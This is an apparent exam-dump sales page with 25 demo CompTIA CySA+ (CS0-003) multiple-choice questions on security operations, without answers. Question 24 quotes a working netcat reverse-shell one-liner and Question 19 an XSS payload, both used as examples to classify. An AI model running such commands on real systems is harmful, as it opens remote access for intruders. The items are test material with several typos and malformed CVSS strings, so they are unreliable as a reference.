CompTIA CS0-003 Exam Dumps

CompTIA CyberSecurity Analyst CySA+ Certification Exam

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Exam Code	CS0-003
Exam Name	CompTIA CyberSecurity Analyst CySA+ Certification Exam
Questions	462 Questions Answers With Explanation
Update Date	04, 26, 2026
Price	Was : $90 Today : $50 Was : $108 Today : $60 Was : $126 Today : $70

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Demo Questions

Question # 1

A SOC analyst recommends adding a layer of defense for all endpoints that will better protect against external threats regardless of the device's operating system. Which of the following best meets this  requirement?

 A. SIEM 
B. CASB 
C. SOAR 
D. EDR

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Question # 2

Exploit code for a recently disclosed critical software vulnerability was publicly available (or download for several days before being removed. Which of the following CVSS v.3.1 temporal metrics was most impacted by this exposure?

 A. Remediation level 
B. Exploit code maturity 
C. Report confidence 
D. Availability 

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Question # 3

 An analyst wants to ensure that users only leverage web-based software that has been pre-approved by the organization. Which of the following should be deployed?

A. Blocklisting 
B. Allowlisting 
C. Graylisting 
D. Webhooks

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Question # 4

 Which of the following can be used to learn more about TTPs used by cybercriminals?

A. ZenMAP 
B. MITRE ATT&CK 
C. National Institute of Standards and Technology 
D. theHarvester 

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Question # 5

An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that includes lessons learned. Which of the following is the most likely reason to include lessons learned?

 A. To satisfy regulatory requirements for incident reporting 
B. To hold other departments accountable 
C. To identify areas of improvement in the incident response process 
D. To highlight the notable practices of the organization's incident response team

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Question # 6

Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current employer. Joe is soliciting his current employer's customers. However, Joe has not resigned or discussed this with his current supervisor yet. Which of the following would be the best action for the incident response team to recommend?

A. Isolate Joe's PC from the network 
B. Reimage the PC based on standard operating procedures 
C. Initiate a remote wipe of Joe's PC using mobile device management 
D. Perform no action until HR or legal counsel advises on next steps

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Question # 7

After updating the email client to the latest patch, only about 15% of the workforce is able to use email. Windows 10 users do not experience issues, but Windows 11 users have constant issues. Which of the following did the change management team fail to do?

 A. Implementation 
B. Testing
 C. Rollback 
D. Validation

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Question # 8

 To minimize the impact of a security incident in a heavily regulated company, a cybersecurity analyst has configured audit settings in the organization's cloud services. Which of the following security controls has the analyst configured?

A. Preventive 
B. Corrective 
C. Directive 
D. Detective

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Question # 9

A security analyst reviews the latest vulnerability scans and observes there are vulnerabilities with similar CVSSv3 scores but different base score metrics. Which of the following attack vectors should the analyst remediate first?

A. CVSS 3.0/AVP/AC:L/PR:L/UI:N/S U/C:H/I:H/A:H 
B. CVSS 3.0/AV:A/AC .L/PR:L/UI:N/S:U/C:H/I:H/A:H 
C. CVSS 3.0/AV:N/AC:L/PR:L/UI:N/S;U/C:H/I:H/A:H 
D. CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

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Question # 10

Which of the following is a reason why proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response?

A. TO ensure the report is legally acceptable in case it needs to be presented in court 
B. To present a lessons-learned analysis for the incident response team 
C. To ensure the evidence can be used in a postmortem analysis 
D. To prevent the possible loss of a data source for further root cause analysis

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Question # 11

 Using open-source intelligence gathered from technical forums, a threat actor compiles and tests a malicious downloader to ensure it will not be detected by the victim organization's endpoint security protections. Which of the following stages of the Cyber Kill Chain best aligns with the threat actor's actions?

A. Delivery 
B. Reconnaissance 
C. Exploitation 
D. Weaponizatign 

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Question # 12

 A company has a primary control in place to restrict access to a sensitive database. However, the company discovered an authentication vulnerability that could bypass this control. Which of the following is the best compensating control?

A. Running regular penetration tests to identify and address new vulnerabilities 
B. Conducting regular security awareness training of employees to prevent social engineering attacks 
C. Deploying an additional layer of access controls to verify authorized individuals
D. Implementing intrusion detection software to alert security teams of unauthorized access attempts

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Question # 13

 A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack. Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in?

A. Weaponization 
B. Reconnaissance 
C. Delivery 
D. Exploitation

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Question # 14

A security analyst has found a moderate-risk item in an organization's point-of-sale application. The organization is currently in a change freeze window and has decided that the risk is not high enough to correct at this time. Which of the following inhibitors to remediation does this scenario illustrate?

A. Service-level agreement 
B. Business process interruption 
C. Degrading functionality 
D. Proprietary system 

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Question # 15

 Which of the following is the best framework for assessing how attackers use techniques over an infrastructure to exploit a target’s information assets?

A. Structured Threat Information Expression 
B. OWASP Testing Guide 
C. Open Source Security Testing Methodology Manual 
D. Diamond Model of Intrusion Analysis

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Question # 16

 While configuring a SIEM for an organization, a security analyst is having difficulty correlating incidents across different systems. Which of the following should be checked first?

A. If appropriate logging levels are set 
B. NTP configuration on each system 
C. Behavioral correlation settings 
D. Data normalization rules

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Question # 17

Which of the following best explains the importance of communicating with staff regarding the official public communication plan related to incidents impacting the organization?

A. To establish what information is allowed to be released by designated employees 
B. To designate an external public relations firm to represent the organization 
C. To ensure that all news media outlets are informed at the same time 
D. To define how each employee will be contacted after an event occurs

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Question # 18

 Which of the following best explains the importance of the implementation of a secure software development life cycle in a company with an internal development team?

 A. Increases the product price by using the implementation as a piece of marketing 
B. Decreases the risks of the software usage and complies with regulatory requirements 
C. Improves the agile process and decreases the amount of tests before the final deployment  
D. Transfers the responsibility for security flaws to the vulnerability management team

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Question # 19

 A security analyst found the following vulnerability on the company’s website: <INPUT TYPE=“IMAGE” SRC=“javascript:alert(‘test’);”> Which of the following should be implemented to prevent this type of attack in the future?

A. Input sanitization 
B. Output encoding 
C. Code obfuscation 
D. Prepared statements

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Question # 20

Which of the following risk management decisions should be considered after evaluating all other options?

 A. Transfer 
B. Acceptance 
C. Mitigation 
D. Avoidance

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Question # 21

Which of the following would help an analyst to quickly find out whether the IP address in a SIEM alert is a known-malicious IP address?

 A. Join an information sharing and analysis center specific to the company's industry. 
B. Upload threat intelligence to the IPS in STIX/TAXII format. 
C. Add data enrichment for IPS in the ingestion pipleline. 
D. Review threat feeds after viewing the SIEM alert. 

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Question # 22

 Which of the following does "federation" most likely refer to within the context of identity and access management?

A. Facilitating groups of users in a similar function or profile to system access that requires elevated or conditional access
B. An authentication mechanism that allows a user to utilize one set of credentials to access multiple domains
C. Utilizing a combination of what you know, who you are, and what you have to grant authentication to a user 
D. Correlating one's identity with the attributes and associated applications the user has access to

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Question # 23

 Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?

A. Mean time to detect 
B. Number of exploits by tactic 
C. Alert volume 
D. Quantity of intrusion attempts

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Question # 24

A security analyst detected the following suspicious activity: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f Which of the following most likely describes the activity?

 A. Network pivoting 
B. Host scanning 
C. Privilege escalation 
D. Reverse shell 

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Question # 25

Which of the following would help to minimize human engagement and aid in process improvement in security operations?

A. OSSTMM 
B. SIEM 
C. SOAR 
D. QVVASP

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